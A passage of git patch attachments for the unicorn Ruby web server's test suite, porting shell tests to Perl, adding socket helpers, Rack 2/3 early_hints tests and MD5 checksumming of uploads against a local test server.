use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
-our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req which spawn check_stderr);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
@@ -55,26 +55,28 @@ sub tcp_host_port {
}
}
-sub tcp_connect {
- my ($dest, %opt) = @_;
- my $addr = tcp_host_port($dest);
- my $s = ref($dest)->new(
+sub unix_start ($@) {
+ my ($dst, @req) = @_;
+ my $s = IO::Socket::UNIX->new(Peer => $dst, Type => SOCK_STREAM) or
+ BAIL_OUT "unix connect $dst: $!";
+ $s->autoflush(1);
+ print $s @req, "\r\n\r\n" if @req;
+ $s;
+}
+
+sub tcp_start ($@) {
+ my ($dst, @req) = @_;
+ my $addr = tcp_host_port($dst);
+ my $s = ref($dst)->new(
Proto => 'tcp',
Type => SOCK_STREAM,
PeerAddr => $addr,
- %opt,
) or BAIL_OUT "failed to connect to $addr: $!";
$s->autoflush(1);
+ print $s @req, "\r\n\r\n" if @req;
$s;
}
-sub start_req {
- my ($srv, @req) = @_;
- my $c = tcp_connect($srv);
- print $c @req, "\r\n\r\n";
- $c;
-}
-
sub slurp {
open my $fh, '<', $_[0];
local $/;
[-- Attachment #16: 0015-port-t9000-preread-input.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3856 bytes --]
From 1b8840d8d13491eecd2fa92e06f73c65eadd33ba Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:44 +0000
Subject: [PATCH 15/23] port t9000-preread-input.sh to Perl 5
Stuffing it into t/integration.t for now so we can save on
startup costs.
---
t/integration.t | 32 ++++++++++++++++++++++++---
t/lib.perl | 2 +-
t/preread_input.ru | 4 +---
t/t9000-preread-input.sh | 48 ----------------------------------------
4 files changed, 31 insertions(+), 55 deletions(-)
delete mode 100755 t/t9000-preread-input.sh
diff --git a/t/integration.t b/t/integration.t
index b33e3c3..f5afd5d 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,8 +7,8 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-my $srv = tcp_server();
-my $host_port = tcp_host_port($srv);
+our $srv = tcp_server();
+our $host_port = tcp_host_port($srv);
my $t0 = time;
my $conf = "$tmpdir/u.conf.rb";
open my $conf_fh, '>', $conf;
@@ -209,8 +209,34 @@ SKIP: {
seek($rh, 0, SEEK_SET);
$copt->{0} = $rh;
$do_curl->('-T-');
-}
+ diag 'testing Unicorn::PrereadInput...';
+ local $srv = tcp_server();
+ local $host_port = tcp_host_port($srv);
+ check_stderr;
+ truncate($errfh, 0);
+
+ my $pri = unicorn(qw(-E none t/preread_input.ru), { 3 => $srv });
+ $url = "http://$host_port/";
+
+ $do_curl->(qw(-T t/random_blob));
+ seek($rh, 0, SEEK_SET);
+ $copt->{0} = $rh;
+ $do_curl->('-T-');
+
+ my @pr_err = slurp("$tmpdir/err.log");
+ is(scalar(grep(/app dispatch:/, @pr_err)), 2, 'app dispatched twice');
+
+ # abort a chunked request by blocking curl on a FIFO:
+ $c = tcp_start($srv, "PUT / HTTP/1.1\r\nTransfer-Encoding: chunked");
+ close $c;
+ @pr_err = slurp("$tmpdir/err.log");
+ is(scalar(grep(/app dispatch:/, @pr_err)), 2,
+ 'app did not dispatch on aborted request');
+ undef $pri;
+ check_stderr;
+ diag 'Unicorn::PrereadInput middleware tests done';
+}
# ... more stuff here
diff --git a/t/lib.perl b/t/lib.perl
index 1d6e78d..b6148cf 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -79,7 +79,7 @@ sub tcp_start ($@) {
sub slurp {
open my $fh, '<', $_[0];
- local $/;
+ local $/ if !wantarray;
readline($fh);
}
diff --git a/t/preread_input.ru b/t/preread_input.ru
index 79685c4..f0a1748 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,8 +1,6 @@
#\-E none
require 'digest/sha1'
require 'unicorn/preread_input'
-use Rack::ContentLength
-use Rack::ContentType, "text/plain"
use Unicorn::PrereadInput
nr = 0
run lambda { |env|
@@ -13,5 +11,5 @@
dig.update(buf)
end
- [ 200, {}, [ "#{dig.hexdigest}\n" ] ]
+ [ 200, {}, [ dig.hexdigest ] ]
}
diff --git a/t/t9000-preread-input.sh b/t/t9000-preread-input.sh
deleted file mode 100755
index d6c73ab..0000000
--- a/t/t9000-preread-input.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 9 "PrereadInput middleware tests"
-
-t_begin "setup and start" && {
- random_blob_sha1=$(rsha1 < random_blob)
- unicorn_setup
- unicorn -D -c $unicorn_config preread_input.ru
- unicorn_wait_start
-}
-
-t_begin "single identity request" && {
- curl -sSf -T random_blob http://$listen/ > $tmp
-}
-
-t_begin "sha1 matches" && {
- test x"$(cat $tmp)" = x"$random_blob_sha1"
-}
-
-t_begin "single chunked request" && {
- curl -sSf -T- < random_blob http://$listen/ > $tmp
-}
-
-t_begin "sha1 matches" && {
- test x"$(cat $tmp)" = x"$random_blob_sha1"
-}
-
-t_begin "app only dispatched twice" && {
- test 2 -eq "$(grep 'app dispatch:' < $r_err | count_lines )"
-}
-
-t_begin "aborted chunked request" && {
- rm -f $tmp
- curl -sSf -T- < $fifo http://$listen/ > $tmp &
- curl_pid=$!
- kill -9 $curl_pid
- wait
-}
-
-t_begin "app only dispatched twice" && {
- test 2 -eq "$(grep 'app dispatch:' < $r_err | count_lines )"
-}
-
-t_begin "killing succeeds" && {
- kill -QUIT $unicorn_pid
-}
-
-t_done
[-- Attachment #17: 0016-port-t-t0116-client_body_buffer_size.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 8861 bytes --]
From e9593301044f305d4a0e074f77eea35015ca0ec4 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:45 +0000
Subject: [PATCH 16/23] port t/t0116-client_body_buffer_size.sh to Perl 5
While I'm fine with depending on curl for certain things,
there's no need for it here since unicorn has had lazy
rack.input for over a decade, at this point.
---
t/active-unix-socket.t | 1 +
t/{t0116.ru => client_body_buffer_size.ru} | 2 -
t/client_body_buffer_size.t | 83 ++++++++++++++++++++++
t/integration.t | 10 ---
t/lib.perl | 12 +++-
t/t0116-client_body_buffer_size.sh | 80 ---------------------
6 files changed, 95 insertions(+), 93 deletions(-)
rename t/{t0116.ru => client_body_buffer_size.ru} (82%)
create mode 100644 t/client_body_buffer_size.t
delete mode 100755 t/t0116-client_body_buffer_size.sh
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 8723137..4e11837 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -109,4 +109,5 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
}
check_stderr;
+undef $tmpdir;
done_testing;
diff --git a/t/t0116.ru b/t/client_body_buffer_size.ru
similarity index 82%
rename from t/t0116.ru
rename to t/client_body_buffer_size.ru
index fab5fce..44161a5 100644
--- a/t/t0116.ru
+++ b/t/client_body_buffer_size.ru
@@ -1,6 +1,4 @@
#\ -E none
-use Rack::ContentLength
-use Rack::ContentType, 'text/plain'
app = lambda do |env|
input = env['rack.input']
case env["PATH_INFO"]
diff --git a/t/client_body_buffer_size.t b/t/client_body_buffer_size.t
new file mode 100644
index 0000000..b1a99f3
--- /dev/null
+++ b/t/client_body_buffer_size.t
@@ -0,0 +1,83 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $uconf = "$tmpdir/u.conf.rb";
+
+open my $conf_fh, '>', $uconf;
+$conf_fh->autoflush(1);
+print $conf_fh <<EOM;
+client_body_buffer_size 0
+EOM
+my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
+my @uarg = (qw(-E none t/client_body_buffer_size.ru -c), $uconf);
+my $ar = unicorn(@uarg, { 3 => $srv });
+my ($c, $status, $hdr);
+my $mem_class = 'StringIO';
+my $fs_class = 'Unicorn::TmpIO';
+
+$c = tcp_start($srv, "PUT /input_class HTTP/1.0\r\nContent-Length: 0");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, 'zero-byte file is StringIO');
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: 1");
+print $c '.';
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 byte file is filesystem-backed');
+
+
+my $fifo = "$tmpdir/fifo";
+POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
+seek($conf_fh, 0, SEEK_SET);
+truncate($conf_fh, 0);
+print $conf_fh <<EOM;
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+$ar->do_kill('HUP');
+open my $fifo_fh, '<', $fifo;
+like(my $wpid = readline($fifo_fh), qr/\Apid=\d+\z/a ,
+ 'reloaded w/ default client_body_buffer_size');
+
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: 1");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, 'class for a 1 byte file is memory-backed');
+
+
+my $one_meg = 1024 ** 2;
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $one_meg");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 megabyte file is FS-backed');
+
+# reload with bigger client_body_buffer_size
+say $conf_fh "client_body_buffer_size $one_meg";
+$ar->do_kill('HUP');
+open $fifo_fh, '<', $fifo;
+like($wpid = readline($fifo_fh), qr/\Apid=\d+\z/a ,
+ 'reloaded w/ bigger client_body_buffer_size');
+
+
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $one_meg");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $mem_class, '1 megabyte file is now memory-backed');
+
+my $too_big = $one_meg + 1;
+$c = tcp_start($srv, "PUT /tmp_class HTTP/1.0\r\nContent-Length: $too_big");
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+is(readline($c), $fs_class, '1 megabyte + 1 byte file is FS-backed');
+
+
+undef $ar;
+check_stderr;
+undef $tmpdir;
+done_testing;
diff --git a/t/integration.t b/t/integration.t
index f5afd5d..855c260 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -15,16 +15,6 @@ open my $conf_fh, '>', $conf;
$conf_fh->autoflush(1);
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
-END { diag slurp("$tmpdir/err.log") if $tmpdir };
-sub slurp_hdr {
- my ($c) = @_;
- local $/ = "\r\n\r\n"; # affects both readline+chomp
- chomp(my $hdr = readline($c));
- my ($status, @hdr) = split(/\r\n/, $hdr);
- diag explain([ $status, \@hdr ]) if $ENV{V};
- ($status, \@hdr);
-}
-
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
diff --git a/t/lib.perl b/t/lib.perl
index b6148cf..2685c3b 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -11,11 +11,12 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port which spawn check_stderr unix_start);
+ SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
open($errfh, '>>', "$tmpdir/err.log");
+END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub check_stderr () {
my @log = slurp("$tmpdir/err.log");
@@ -25,6 +26,15 @@ sub check_stderr () {
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
}
+sub slurp_hdr {
+ my ($c) = @_;
+ local $/ = "\r\n\r\n"; # affects both readline+chomp
+ chomp(my $hdr = readline($c));
+ my ($status, @hdr) = split(/\r\n/, $hdr);
+ diag explain([ $status, \@hdr ]) if $ENV{V};
+ ($status, \@hdr);
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
diff --git a/t/t0116-client_body_buffer_size.sh b/t/t0116-client_body_buffer_size.sh
deleted file mode 100755
index c9e17c7..0000000
--- a/t/t0116-client_body_buffer_size.sh
+++ /dev/null
@@ -1,80 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 12 "client_body_buffer_size settings"
-
-t_begin "setup and start" && {
- unicorn_setup
- rtmpfiles unicorn_config_tmp one_meg
- dd if=/dev/zero bs=1M count=1 of=$one_meg
- cat >> $unicorn_config <<EOF
-after_fork do |server, worker|
- File.open("$fifo", "wb") { |fp| fp.syswrite "START" }
-end
-EOF
- cat $unicorn_config > $unicorn_config_tmp
- echo client_body_buffer_size 0 >> $unicorn_config
- unicorn -D -c $unicorn_config t0116.ru
- unicorn_wait_start
- fs_class=Unicorn::TmpIO
- mem_class=StringIO
-
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "class for a zero-byte file should be StringIO" && {
- > $tmp
- test xStringIO = x"$(curl -T $tmp -sSf http://$listen/input_class)"
-}
-
-t_begin "class for a 1 byte file should be filesystem-backed" && {
- echo > $tmp
- test x$fs_class = x"$(curl -T $tmp -sSf http://$listen/tmp_class)"
-}
-
-t_begin "reload with default client_body_buffer_size" && {
- mv $unicorn_config_tmp $unicorn_config
- kill -HUP $unicorn_pid
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "class for a 1 byte file should be memory-backed" && {
- echo > $tmp
- test x$mem_class = x"$(curl -T $tmp -sSf http://$listen/tmp_class)"
-}
-
-t_begin "class for a random blob file should be filesystem-backed" && {
- resp="$(curl -T random_blob -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "one megabyte file should be filesystem-backed" && {
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "reload with a big client_body_buffer_size" && {
- echo "client_body_buffer_size(1024 * 1024)" >> $unicorn_config
- kill -HUP $unicorn_pid
- test x"$(cat $fifo)" = xSTART
-}
-
-t_begin "one megabyte file should be memory-backed" && {
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$mem_class = x"$resp"
-}
-
-t_begin "one megabyte + 1 byte file should be filesystem-backed" && {
- echo >> $one_meg
- resp="$(curl -T $one_meg -sSf http://$listen/tmp_class)"
- test x$fs_class = x"$resp"
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
[-- Attachment #18: 0017-tests-get-rid-of-sha1sum.rb-and-rsha1-sh-function.patch --]
[-- Type: text/x-diff, Size: 1255 bytes --]
From b47912160f2336dde3901e588cc23fb2c2f8d9dc Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:46 +0000
Subject: [PATCH 17/23] tests: get rid of sha1sum.rb and rsha1() sh function
These are no longer needed since Perl has long included
Digest::SHA
---
t/bin/sha1sum.rb | 17 -----------------
t/test-lib.sh | 4 ----
2 files changed, 21 deletions(-)
delete mode 100755 t/bin/sha1sum.rb
diff --git a/t/bin/sha1sum.rb b/t/bin/sha1sum.rb
deleted file mode 100755
index 53d68ce..0000000
--- a/t/bin/sha1sum.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/usr/bin/env ruby
-# -*- encoding: binary -*-
-# Reads from stdin and outputs the SHA1 hex digest of the input
-
-require 'digest/sha1'
-$stdout.sync = $stderr.sync = true
-$stdout.binmode
-$stdin.binmode
-bs = 16384
-digest = Digest::SHA1.new
-if buf = $stdin.read(bs)
- begin
- digest.update(buf)
- end while $stdin.read(bs, buf)
-end
-
-$stdout.syswrite("#{digest.hexdigest}\n")
diff --git a/t/test-lib.sh b/t/test-lib.sh
index e70d0c6..8613144 100644
--- a/t/test-lib.sh
+++ b/t/test-lib.sh
@@ -123,7 +123,3 @@ unicorn_wait_start () {
# no need to play tricks with FIFOs since we got "ready_pipe" now
unicorn_pid=$(cat $pid)
}
-
-rsha1 () {
- sha1sum.rb
-}
[-- Attachment #19: 0018-early_hints-supports-Rack-3-array-headers.patch --]
[-- Type: text/x-diff, Size: 4606 bytes --]
From 6ad9f4b54ee16ffecea7e16b710552b45db33a16 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:47 +0000
Subject: [PATCH 18/23] early_hints supports Rack 3 array headers
We can hoist out append_headers into a new method and use it in
both e103_response_write and http_response_write.
t/integration.t now tests early_hints with both possible
values of check_client_connection.
---
t/integration.ru | 7 +++++++
t/integration.t | 47 ++++++++++++++++++++++++++++++++++++++++++-----
2 files changed, 49 insertions(+), 5 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index edc408c..dab384d 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -5,6 +5,11 @@
# this goes for t/integration.t We'll try to put as many tests
# in here as possible to avoid startup overhead of Ruby.
+def early_hints(env, val)
+ env['rack.early_hints'].call('link' => val) # val may be ary or string
+ [ 200, {}, [ val.class.to_s ] ]
+end
+
$orig_rack_200 = nil
def tweak_status_code
$orig_rack_200 = Rack::Utils::HTTP_STATUS_CODES[200]
@@ -81,6 +86,8 @@ def rack_input_tests(env)
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
+ when '/early_hints_rack2'; early_hints(env, "r\n2")
+ when '/early_hints_rack3'; early_hints(env, %w(r 3))
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 855c260..8433497 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -13,8 +13,16 @@ my $t0 = time;
my $conf = "$tmpdir/u.conf.rb";
open my $conf_fh, '>', $conf;
$conf_fh->autoflush(1);
+my $u1 = "$tmpdir/u1";
+print $conf_fh <<EOM;
+early_hints true
+listen "$u1"
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
+my $fifo = "$tmpdir/fifo";
+POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
@@ -102,6 +110,26 @@ $c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
+my $ck_early_hints = sub {
+ my ($note) = @_;
+ $c = unix_start($u1, 'GET /early_hints_rack2 HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 103\b!, 'got 103 for rack 2 value');
+ is_deeply(['link: r', 'link: 2'], $hdr, 'rack 2 hints match '.$note);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'got 200 afterwards');
+ is(readline($c), 'String', 'early hints used a String for rack 2');
+
+ $c = unix_start($u1, 'GET /early_hints_rack3 HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 103\b!, 'got 103 for rack 3');
+ is_deeply(['link: r', 'link: 3'], $hdr, 'rack 3 hints match '.$note);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'got 200 afterwards');
+ is(readline($c), 'Array', 'early hints used a String for rack 3');
+};
+$ck_early_hints->('ccc off'); # we'll retest later
+
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
$c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
@@ -154,6 +182,7 @@ if ('bad requests') {
# input tests
my ($blob_size, $blob_hash);
SKIP: {
+ skip 'SKIP_EXPENSIVE on', 1 if $ENV{SKIP_EXPENSIVE};
CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
@@ -232,16 +261,24 @@ SKIP: {
# SIGHUP-able stuff goes here
+if ('check_client_connection') {
+ print $conf_fh <<EOM; # appending to existing
+check_client_connection true
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+ $ar->do_kill('HUP');
+ open my $fifo_fh, '<', $fifo;
+ my $wpid = readline($fifo_fh);
+ like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
+ $ck_early_hints->('ccc on');
+}
+
if ('max_header_len internal API') {
undef $c;
my $req = 'GET / HTTP/1.0';
my $len = length($req."\r\n\r\n");
- my $fifo = "$tmpdir/fifo";
- POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
- print $conf_fh <<EOM;
+ print $conf_fh <<EOM; # appending to existing
Unicorn::HttpParser.max_header_len = $len
-listen "$host_port" # TODO: remove this requirement for SIGHUP
-after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
EOM
$ar->do_kill('HUP');
open my $fifo_fh, '<', $fifo;
[-- Attachment #20: 0019-test_server-drop-early_hints-test.patch --]
[-- Type: text/x-diff, Size: 1737 bytes --]
From 3e6bc9fb589fd88469349a38a77704c3333623e0 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:48 +0000
Subject: [PATCH 19/23] test_server: drop early_hints test
t/integration.t already is more complete in that it tests
both Rack 2 and 3 along with both possible values of
check_client_connection.
---
test/unit/test_server.rb | 31 -------------------------------
1 file changed, 31 deletions(-)
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index fe98fcc..0a710d1 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -23,17 +23,6 @@ def call(env)
end
end
-class TestEarlyHintsHandler
- def call(env)
- while env['rack.input'].read(4096)
- end
- env['rack.early_hints'].call(
- "Link" => "</style.css>; rel=preload; as=style\n</script.js>; rel=preload"
- )
- [200, { 'content-type' => 'text/plain' }, ['hello!\n']]
- end
-end
-
class TestRackAfterReply
def initialize
@called = false
@@ -112,26 +101,6 @@ def test_preload_app_config
tmp.close!
end
- def test_early_hints
- teardown
- redirect_test_io do
- @server = HttpServer.new(TestEarlyHintsHandler.new,
- :listeners => [ "127.0.0.1:#@port"],
- :early_hints => true)
- @server.start
- end
-
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("GET / HTTP/1.0\r\n\r\n")
-
- responses = sock.read(4096)
- assert_match %r{\AHTTP/1.[01] 103\b}, responses
- assert_match %r{^Link: </style\.css>}, responses
- assert_match %r{^Link: </script\.js>}, responses
-
- assert_match %r{^HTTP/1.[01] 200\b}, responses
- end
-
def test_after_reply
teardown
[-- Attachment #21: 0020-t-integration.t-switch-PUT-tests-to-MD5-reuse-buffer.patch --]
[-- Type: text/x-diff, Size: 3740 bytes --]
From cb826915cdd1881cbcfc1fb4e645d26244dfda71 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:49 +0000
Subject: [PATCH 20/23] t/integration.t: switch PUT tests to MD5, reuse buffers
MD5 is faster, and these tests aren't meant to be secure,
they're just for checking for data corruption.
Furthermore, Content-MD5 is a supported HTTP trailer and
we can verify that here to obsolete other tests.
Furthermore, we can reuse buffers on env['rack.input'].read
calls to avoid malloc(3) and GC overhead.
Combined, these give roughly a 3% speedup for t/integration.t
on my system.
---
t/integration.ru | 20 +++++++++++++++-----
t/integration.t | 5 ++---
t/preread_input.ru | 17 ++++++++++++-----
3 files changed, 29 insertions(+), 13 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index dab384d..086126a 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -55,8 +55,8 @@ def env_dump(env)
def rack_input_tests(env)
return [ 100, {}, [] ] if /\A100-continue\z/i =~ env['HTTP_EXPECT']
cap = 16384
- require 'digest/sha1'
- digest = Digest::SHA1.new
+ require 'digest/md5'
+ dig = Digest::MD5.new
input = env['rack.input']
case env['PATH_INFO']
when '/rack_input/size_first'; input.size
@@ -68,11 +68,21 @@ def rack_input_tests(env)
if buf = input.read(rand(cap))
begin
raise "#{buf.size} > #{cap}" if buf.size > cap
- digest.update(buf)
+ dig.update(buf)
end while input.read(rand(cap), buf)
+ buf.clear # remove this call if Ruby ever gets escape analysis
end
- [ 200, {'content-length' => '40', 'content-type' => 'text/plain'},
- [ digest.hexdigest ] ]
+ h = { 'content-type' => 'text/plain' }
+ if env['HTTP_TRAILER'] =~ /\bContent-MD5\b/i
+ cmd5_b64 = env['HTTP_CONTENT_MD5'] or return [500, {}, ['No Content-MD5']]
+ cmd5_bin = cmd5_b64.unpack('m')[0]
+ if cmd5_bin != dig.digest
+ h['content-length'] = cmd5_b64.size.to_s
+ return [ 500, h, [ cmd5_b64 ] ]
+ end
+ end
+ h['content-length'] = '32'
+ [ 200, h, [ dig.hexdigest ] ]
end
run(lambda do |env|
diff --git a/t/integration.t b/t/integration.t
index 8433497..38a9675 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -27,7 +27,6 @@ my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
my $bs = $opt{bs} // 16384;
- require Digest::MD5;
my $dig = Digest::MD5->new;
print $out <<EOM;
PUT $path HTTP/1.1\r
@@ -186,8 +185,8 @@ SKIP: {
CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
- require Digest::SHA;
- $blob_hash = Digest::SHA->new(1)->addfile($rh)->hexdigest;
+ require Digest::MD5;
+ $blob_hash = Digest::MD5->new->addfile($rh)->hexdigest;
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
diff --git a/t/preread_input.ru b/t/preread_input.ru
index f0a1748..18af221 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,15 +1,22 @@
#\-E none
-require 'digest/sha1'
+require 'digest/md5'
require 'unicorn/preread_input'
use Unicorn::PrereadInput
nr = 0
run lambda { |env|
$stderr.write "app dispatch: #{nr += 1}\n"
input = env["rack.input"]
- dig = Digest::SHA1.new
- while buf = input.read(16384)
- dig.update(buf)
+ dig = Digest::MD5.new
+ if buf = input.read(16384)
+ begin
+ dig.update(buf)
+ end while input.read(16384, buf)
+ buf.clear # remove this call if Ruby ever gets escape analysis
+ end
+ if env['HTTP_TRAILER'] =~ /\bContent-MD5\b/i
+ cmd5_b64 = env['HTTP_CONTENT_MD5'] or return [500, {}, ['No Content-MD5']]
+ cmd5_bin = cmd5_b64.unpack('m')[0]
+ return [500, {}, [ cmd5_b64 ] ] if cmd5_bin != dig.digest
end
-
[ 200, {}, [ dig.hexdigest ] ]
}
[-- Attachment #22: 0021-tests-move-test_upload.rb-tests-to-t-integration.t.patch --]
[-- Type: text/x-diff, Size: 12280 bytes --]
From 181e4b5b6339fc5e9c3ad7d3690b736f6bd038aa Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:50 +0000
Subject: [PATCH 21/23] tests: move test_upload.rb tests to t/integration.t
The overread tests are ported over, and checksumming alone
is enough to guard against data corruption.
Randomizing the size of `read' calls on the client side will
shake out any boundary bugs on the server side.
---
t/integration.t | 32 ++++-
test/unit/test_upload.rb | 301 ---------------------------------------
2 files changed, 27 insertions(+), 306 deletions(-)
delete mode 100644 test/unit/test_upload.rb
diff --git a/t/integration.t b/t/integration.t
index 38a9675..a568758 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -26,7 +26,6 @@ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
chunked_md5 => sub {
my ($in, $out, $path, %opt) = @_;
- my $bs = $opt{bs} // 16384;
my $dig = Digest::MD5->new;
print $out <<EOM;
PUT $path HTTP/1.1\r
@@ -36,7 +35,7 @@ Trailer: Content-MD5\r
EOM
my ($buf, $r);
while (1) {
- $r = read($in, $buf, $bs);
+ $r = read($in, $buf, 999 + int(rand(0xffff)));
last if $r == 0;
printf $out "%x\r\n", length($buf);
print $out $buf, "\r\n";
@@ -46,15 +45,15 @@ EOM
},
identity => sub {
my ($in, $out, $path, %opt) = @_;
- my $bs = $opt{bs} // 16384;
my $clen = $opt{-s} // -s $in;
print $out <<EOM;
PUT $path HTTP/1.0\r
Content-Length: $clen\r
\r
EOM
- my ($buf, $r, $len);
+ my ($buf, $r, $len, $bs);
